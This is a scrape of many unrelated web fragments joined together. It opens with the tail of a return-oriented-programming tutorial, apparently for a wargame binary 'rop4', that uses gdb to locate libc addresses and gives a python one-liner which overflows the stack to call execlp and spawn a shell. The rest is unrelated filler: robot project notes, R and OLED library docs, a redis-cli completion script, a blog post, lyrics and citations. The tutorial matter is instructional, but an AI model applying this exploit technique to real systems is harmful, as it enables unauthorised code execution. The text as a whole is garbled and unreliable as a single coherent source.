- now you can call "ch" from the command line, and it should run your script
Now lets see how the code looks:
# first we need a string from libc that isn't already a command (I chose "ch")
gdb rop4
(gdb) break main
(gdb) run
(gdb) print execlp
>> $1 = {<text variable, no debug info>} 0x8053ab0 <execlp>
(gdb) find &execlp,+9999999,"ch"
>> 0x80ccf48 <__PRETTY_FUNCTION__.8742+9>
>> 0x80dafa1 #well, use this address
# now we isolate rop4s.sh and rename it to "ch"
mkdir cmd
cp rop4s.sh cmd/ch
# and then add it to our path
export PATH=/home2/user1792/cmd:$PATH
# and our new exploit becomes:
(fill)
(execlp)
(retn)
("/bin/sh")(twice)
("ch")
(null)
cat <(python -c 'print "A"*140+"\xb0\x3a\x05\x08"+"A"*4+"\x4f\xbf\x0c\x08"*2+ "\xa1\xaf\x0d\x08"+"\xa1\x97\x0c\x08"') - | ./rop4
For more info on ROP's (and bypassing ASLR) check out these sources:
https://isisblogs.poly.edu/2011/10/21/geras-insecure-programming-warming-up-stack-1-rop-nxaslr-bypass/
http://blog.the-playground.dk/2012/08/lesson-learned-from-my-first-rop-exploit.html
http://security.stackexchange.com/questions/20497/stack-overflows-defeating-canaries-aslr-dep-nx
http://security.dico.unimi.it/~gianz/pubs/acsac09.pdf


facebook
twitter
Relatively average length headline for an interactive project
July 10, 2016, 2:45 pm
By
Andrew Gibson
and
Charles Minshew
, Orlando Sentinel
Here go a few sentences in which you explain why this interactive is awesome and where the data come from.


Posted for OS Project Fall 2018
This section contains a description of the main algorithms we used.
The functions linked to these algorithms are also described, using a brief summary.
Before delving into
each part notice that the division into topics was
done only to enhance understandability. In fact, each of the following sections is strictly
connected to all the other ones. The structure of the code is divided in three parts: one for bluetooth connection using a thread,
one for the main function of the program, the last one for the use of the motors to complete the actions
Concerning the functions used, there are 3 main functions called in the main, the first one called
initial throw()enables the catapult in order to throw the 2 balls from the beginning.
search_ball_right()
search_ball_left()describes how the robot searches for the ball.
initialthrow() { throw () turn motor left () throw ()}
Then we have two functions for searching the ball. We divide the space in two parts :left and right. The following pseudo code explain the principle for the right side(which could be easily reproduce with the left side):
search_ball_right() { while (angle <90 degres){ searchball(treshold) if found: flagdetected=1 break throw() } if flag detected{ turn (180 degres) getball( ) turn (180 degres) } turn (initial position) if flag detected and flag_ball_caught{ throw() } }
To get more details in the previous main functions used, here is described the action functions used for picking up the balls
getball () { disable_catapult () move_forward () enable_catapult () move_backward ()}
Finally, for the communication with the server, we reorganized the code in 3 functions :
One is used for initializing the bluetooth connection
init_bluetooth()Then we have a function
read_from_server()which is used to read the bytes received from the server. and one for sending the score to the server (this function is called in the throw function so that each time the robot throws a ball, it informs the server:
robotscore ()
All these functions are used in a thread
*mybluetooth


Credits
Design | Project Management Jason Varone Front-end engineering | Data visualization Yining Shi


The Front Desk
"Ok." The librarian says.
"Do you have your library card?"
No
Actually Im not ready to checkout yet
Yes I just got a new one
Yes I just got a replacement one


Safe Storage
login
Username
Password
Login
Welcome to your secret content 🡇
Hello
Logout
Link to admin page


As we have learned, from time to time the so-called “real world” catches up with Hooting Yard in quite charming ways. And what could be more charming, and more like something I made up, than the chance to adopt a lobster? I have to say I am extremely impressed that the National Lobster Hatchery, which offers this splendid opportunity, insists that the first stage of the process is to Name Your Lobster. Thus is the act of naming given its proper, paramount importance.
These conscientious lobsterists at the Hatchery have gone to the trouble of listing all their thousands of adopted lobsters, at the point where they are released into the wild, and so will your adopted lobster appear on the website when its turn comes. Note my assumption that you will be adopting a lobster as soon as you have finished reading this. Do not let me down.
While I do not wish to dictate in so important a matter as lobster nomenclature, I cannot help thinking that it would be a fine thing indeed if the waters around Padstow were to have clacking about in them lobsters named after your favourite Hooting Yard characters, such as Dobson, Tiny Enid, Old Halob, Dennis Beerpint, Little Severin The Mystic (Badger) Lobster, and the rest. Go on, you know it makes sense.
Please leave a note in the comments when you have named and adopted your lobster.


A player created website for CMANO - Command: Modern Air/Naval Operations
Below are some handy Lua code samples. Please note that they may need some interpretation and may not work perfectly as is due to a variety of reasons, but hopefully they can give you some ideas.


| set_names {rlang} | R Documentation |
This is equivalent to stats::setNames()
, with more features and
stricter argument checking.
set_names(x, nm = x, ...)
x |
Vector to name. |
nm, ... |
Vector of names, the same length as You can specify names in the following ways:
|
set_names()
is stable and exported in purrr.
set_names(1:4, c("a", "b", "c", "d")) set_names(1:4, letters[1:4]) set_names(1:4, "a", "b", "c", "d") # If the second argument is ommitted a vector is named with itself set_names(letters[1:5]) # Alternatively you can supply a function set_names(1:10, ~ letters[seq_along(.)]) set_names(head(mtcars), toupper) # If the input vector is unnamed, it is first named after itself # before the function is applied: set_names(letters, toupper) # `...` is passed to the function: set_names(head(mtcars), paste0, "_foo")


tictac
OS/161 Reference Manual
Name
tictac - tic-tac-toe game
Synopsis
/testbin/tictac
Description
tictac implements a simple version of tic-tac-toe.
Requirements
tictac uses the following system calls:
tictac should function correctly once assignment 2 is complete.


Castle Flags
0x08-0x0B uint32
- 0x08: Castle Stars - These are stars from tods and Mips.
Bits
- Toad Star HMC
- MPIS 16 Star
- Toad Star Upstairs
- Toad Star TTC
- MIPS 50 star
- 0x09: Castle Flag 1
Bits
- Cap Stolen By Snowman
- Cap Stolen By Brid
- Cap Stolen By Monkey
- 50 Star Door Open
- 0x0A: Castle Flag 2
Bits
- DDD Portal Moved
- Castle Moat Drained
- Princess Secret Slide Door Unlocked
- Whomps Fortress Door Unlocked
- Cool Cool Mountain Door Unlocked
- Jolly Rodger Bay Door Unlocked
- Bowser 1 Star Door Unlocked
- Bowser 2 Star Door Unlocked
- 0x0A: Castle Flag 2
Bits
- Vaild Game
- Wing Cap Switch
- Metal Cap Switch
- Vanish Cap Switch
- Bowser 1 Key
- Bowser 2 Key
- Basement Door Unlocked
- Upstairs Door Unlocked
Visual Map


ticker state
More...
#include <SSD1306Ascii.h>
|
|
uint8_t | bgnCol |
| | Begin column of ticker.
|
| |
|
uint8_t | col |
| | Column for start of displayed text.
|
| |
|
uint8_t | endCol |
| | End column of ticker.
|
| |
|
const uint8_t * | font = nullptr |
| | Font for ticker.
|
| |
|
bool | init |
| | clear and initialize display area if true.
|
| |
|
bool | mag2X |
| | Use mag2X if true.
|
| |
|
uint8_t | nQueue = 0 |
| | Count of pointers in queue.
|
| |
|
const char * | queue [TICKER_QUEUE_DIM] |
| | Queue of text pointers.
|
| |
|
uint8_t | row |
| | Row for ticker.
|
| |
| uint8_t | skip |
| |
◆ queueFree()
| uint8_t TickerState::queueFree |
( |
| ) |
|
|
inline |
- Returns
- Count of free queue slots.
◆ queueUsed()
| uint8_t TickerState::queueUsed |
( |
| ) |
|
|
inline |
- Returns
- Count of used queue slots.
◆ skip
| uint8_t TickerState::skip |
Number of pixels to skip in first character.
The documentation for this struct was generated from the following file:


compdef redis-cli rec autoload
redis cli completion, based off homebrew completion (ref. 2011-04-14)
local -a _1st_arguments _1st_arguments=(
'append:append a value to a key' 'auth:authenticate to the server' 'bgrewriteeaof:asynchronously rewrite the append-only file' 'bgsave:asynchornously save the dataset to disk' 'blpop:remove and get the first element in a list, or block until one is available' 'brpop:remove and get the last element in a list, or block until one is available' 'brpoplpush:pop a value from a list, push it to another list and return it; or block until one is available' # 'config get:get the value of a configuration parameter' # 'config set:set a configuration parameter to the given value' # 'config resetstat: reset the stats returned by INFO' 'dbsize:return the number of keys in the selected database' # 'debug object:get debugging information about a key' # 'debug setgfault:make the server crash' 'decr:decrement the integer value of a key by one' 'decrby:decrement the integet value of a key by the given number' 'del:delete a key' 'discard:discard all commands issued after MULTI' 'echo:echo the given string' 'exec:execute all commands issued after a MULTI' 'exists:determine if a key exists' 'expire:set the time to live for a key, in seconds' 'expireat:set the expiration for a key as a UNIX timestamp' 'flushall:remove all keys from all databases' 'flushdb:remove all keys from the current database' 'get:get the value of a key' 'getbit:returns the bit value at offset in the string value stored at key' 'getrange:get a substring of the string stored at a key' 'getset:set the string value of a key and return its old value' 'hdel:delete a hash field' 'hexists:determine if a hash field exists' 'hget:get the value of a hash field' 'hgetall:get all the fields and values in a hash' 'hincrby:increment the integer value of a hash field by the given number' 'hkeys:get all the fields in a hash' 'hlen:get the number of fields in a hash' 'hmget:get the values of all the given hash fields' 'hmset:set multiple hash fields to multiple values' 'hset:set the string value of a hash field' 'hsetnx:set the value of a hash field, only if the field does not exist' 'hvals:get all the values in a hash' 'incr:increment the integer value of a key by one' 'incrby:increment the integer value of a key by the given number' 'info:get information and statistics about the server' 'keys:find all keys matching the given pattern' 'lastsave:get the UNIX timestamp of the last successful save to disk' 'lindex:get an element from a list by its index' 'linsert:insert an element before or after another element in a list' 'llen:get the length of a list' 'lpop:remove and get the first element in a list' 'lpush:prepend a value to a list' 'lpushx:prepend a value to a list, only if the list exists' 'lrange:get a range of elements from a list' 'lrem:remove elements from a list' 'lset:set the value of an element in a list by its index' 'ltrim:trim a list to the specified range' 'mget:get the values of all the given keys' 'monitor:listen for all requests received by the server in real time' 'move:move a key to another database' 'mset:set multiple keys to muliple values' 'msetnx:set multiple keys tom ultiple values, only if none of the keys exist' 'multi:mark the start of a transaction block' 'object:inspect the internals of Redis objects' 'persist:remove the expiration from a key' 'ping:ping the server' 'psubscribe:listen for messages published to channels matching the given patterns' 'publish:post a message to a channel' 'punsubscribe:stop listening for messages posted to channels matching the given patterns' 'quit:close the connection' 'randomkey:return a random key from the keyspace' 'rename:rename a key' 'renamenx:rename a key, only if the new key does not exist' 'rpop:remove and get the last element in a list' 'rpoplpush:remove the last element in a list, append it to another list and return it' 'rpush:append a value to a list' 'rpushx:append a value to a list, only if the list exists' 'sadd:add a member to a set' 'save:synchronously save the dataset to disk' 'scard:get the number of members in a set' 'sdiff:subtract multiple sets' 'sdiffstore:subtract multiple sets and store the resulting set in a key' 'select:change the selected database for the current connection' 'set:set the string value of a key' 'setbit:sets or clears the bit at offset in the string value stored at key' 'setex:set the value and expiration of a key' 'setnx:set the value of a key, only if the key does not exist' 'setrange:overwrite part of a string at key starting at the specified offset' 'shutdown:synchronously save the dataset to disk and then shut down the server' 'sinter:intersect multiple sets' 'sinterstore:intersect multiple sets and store the resulting set in a key' 'sismember:determine if a given value is a member of a set' 'slaveof:make the server a slave of another instance, or promote it as master' 'smembers:get all the members in a set' 'smove:move a member from one set to another' 'sort:sort the elements in a list, set or sorted set' 'spop:remove and return a random member from a set' 'srandmember:get a random member from a set' 'srem:remove a member from a set' 'strlen:get the length of the value stored in a key' 'subscribe:listen for messages published to the given channels' 'sunion:add multiple sets' 'sunionstore:add multiple sets and store the resulting set in a key' 'ttl:get the time to live for a key' 'type:determine the type stored at key' 'unsubscribe:stop listening for messages posted to the given channels' 'unwatch:forget about all watched keys' 'watch:watch the given keys to determine execution of the MULTI/EXEC block' 'zadd:add a member to a sorted set, or update its score if it already exists' 'zcard:get the number of members in a sorted set' 'zcount:count the members in a sorted set with scores within the given values' 'zincrby:increment the score of a member in a sorted set' 'zinterstore:intersect multiple sorted sets and store the resulting sorted set in a new key' 'zrange:return a range of members in a sorted set, by index' 'zrangebyscore:return a range of members in a sorted set, by score' 'zrank:determine the index of a member in a sorted set' 'zrem:remove a member from a sorted set' 'zremrangebyrank:remove all members in a sorted set within the given indexes' 'zremrangebyscore:remove all members in a sorted set within the given scores' 'zrevrange:return a range of membrs in a sorted set, by index, with scores ordered from high to low' 'zrevrangebyscore:return a range of members in a sorted set, by score, with scores ordered from high to low' 'zrevrank:determine the index of a member in a sorted set, with scores ordered from high to low' 'zscore:get the score associated with the given member in a sorted set' 'zunionstore:add multiple sorted sets and store te resulting sorted set in a new key'
)
local expl
_arguments \
'(-v --version)'{-v,--version}'[show version]' \ '(-h --help)'{-h,--help}'[show help]' \ '*:: :->subcmds' && return 0
if (( CURRENT == 1 )); then
_describe -t commands "redis-cli subcommand" _1st_arguments return
fi


Nearly 2 million Americans are incarcerated
In the prison system, prison system,
Prison system of the U.S.

The percentage of Americans in the prison system
Prison system, has doubled since 1985,
They're trying to build a prison,
They're trying to build a prison,
They're trying to build a prison,
They're trying to build a prison,
(for you and me to live in)
Another prison system,
Another prison system,
Another prison system.
(to you and me)
For you and I, for you and I,
For you and I.
They're trying to build a prison,
They're trying to build a prison,
They're trying to build a prison,
For you and me,
Oh baby, you and me.
All research and successful drug policy shows
That treatment should be increased,
And law enforcement decreased,
While abolishing mandatory minimum sentences,
All research and successful drug policy shows
That treatment should be increased,
And law enforcement decreased,
While abolishing mandatory minimum sentences.

Drug money is used to rig elections,
And train brutal corporate sponsored dictators around the world.

They're trying to build a prison,
They're trying to build a prison,
They're trying to build a prison,
For you and me,
Oh baby, you and me.
©Copyright 2019


Experiments in Type
- “It is not titles that honor men, but men that honor titles.” Niccolò Machiavelli, Discourses on Livy, Book III Chapter XXXVIII, set in Maiola.
- “For such is the nature of men, that howsoever they may acknowledge many others to be more witty, or more eloquent, or more learned; Yet they will hardly believe there be many so wise as themselves: For they see their own wit at hand, and other mens at a distance.” Thomas Hobbes, Leviathan, set in Adobe Caslon Pro.
- “He who does not demand respect receives more respect than anyone else.” Desiderius Erasmus, The Education of a Christian Prince, set in Maiola.


|
Pollan, Michael. "The intelligent plant." New Yorker (2013): 93.
Sun, Joseph C., Sophie Ugolini, and Eric Vivier. "Immunological memory within the innate immune system." The EMBO journal 33.12 (2014): 1295-1303.
Erskine, L., & Herrera, E. (2007). The retinal ganglion cell axon's
journey: insights into
molecular mechanisms of axon guidance.
Developmental biology, 308(1), 1-14.
Wilson, D et al. A gene regulatory network model for axon guidance.
Workshop on Developmental Neural Networks, PPSN 2018.